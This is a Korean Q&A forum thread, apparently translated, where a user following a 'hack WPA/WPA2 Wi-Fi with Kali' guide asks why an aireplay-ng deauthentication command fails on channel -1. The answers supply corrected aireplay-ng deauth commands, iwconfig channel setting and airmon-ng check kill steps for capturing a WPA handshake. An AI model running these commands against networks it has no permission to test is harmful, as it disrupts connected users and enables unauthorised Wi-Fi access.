kali linux를 사용하여 라우터에서 침투 테스트를 테스트할 때 이 링크의 모든 단계를 따랐습니다.
http://lewiscomputerhowto.blogspot.in/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html
aireplay-ng -0 2 -a 10:FE:ED:2E:5E:20 -c 08:3E:8E:CC:14:A7 mon7 09:00:33 Waiting for beacon frame (BSSID: 10:FE:ED:2E:5E:20) on channel -1 09:00:33 Couldn't determine current channel for mon7, you should either force the operation with --ignore-negative-one or apply a kernel patch Please specify an ESSID (-e)
aireplay-ng 명령에 라우터의 bssid와 clint의 bssid를 입력해야 하는 단계에서 채널 -1로 다음 명령을 받았습니다 . 그런데 제가 캡쳐한 채널은 다른 채널입니다. 나는 시도할 때마다 이것을 얻습니다. 이 -1 채널에 대한 도움과 이 문제를 해결하는 방법을 알려주십시오.
답변1
오류 메시지에 표시된 대로 정확하게 수행하십시오. "--ignore-negative-one" 긴 옵션을 다시 생각해 보십시오.
aireplay-ng -0 2 --ignore-negative-one -a 10:FE:ED:2E:5E:20 -c 08:3E:8E:CC:14:A7 mon7
다음을 수행해야 할 수도 있습니다.
iwconfig mon7 channel *whatever*
원하는 채널을 사용하게 해주세요.
답변2
글쎄요, 좀 찾아본 후에 답을 얻었습니다. 당신이해야 할 일은 wlan0
명령을 사용하여 시작할 때입니다
airmon-ng start wlan0
airmon
이 명령은 나중에 중단될 수 있는 일부 프로세스를 나열합니다. 따라서 먼저 제거해야 합니다. 제거하려면 다음 코드를 작성하세요.
airmon-ng check
airmon-ng check kill
airmon-ng start wlan0
위의 코드를 사용하면 airmon
정상적으로 작동할 것입니다.
그리고 사용하면 --ignore-negative-one
부정적인 채널을 무시하고 wpa 핸드셰이크를 얻을 수 없으므로 문제가 해결되지 않습니다. 즐거운 해킹되세요 :)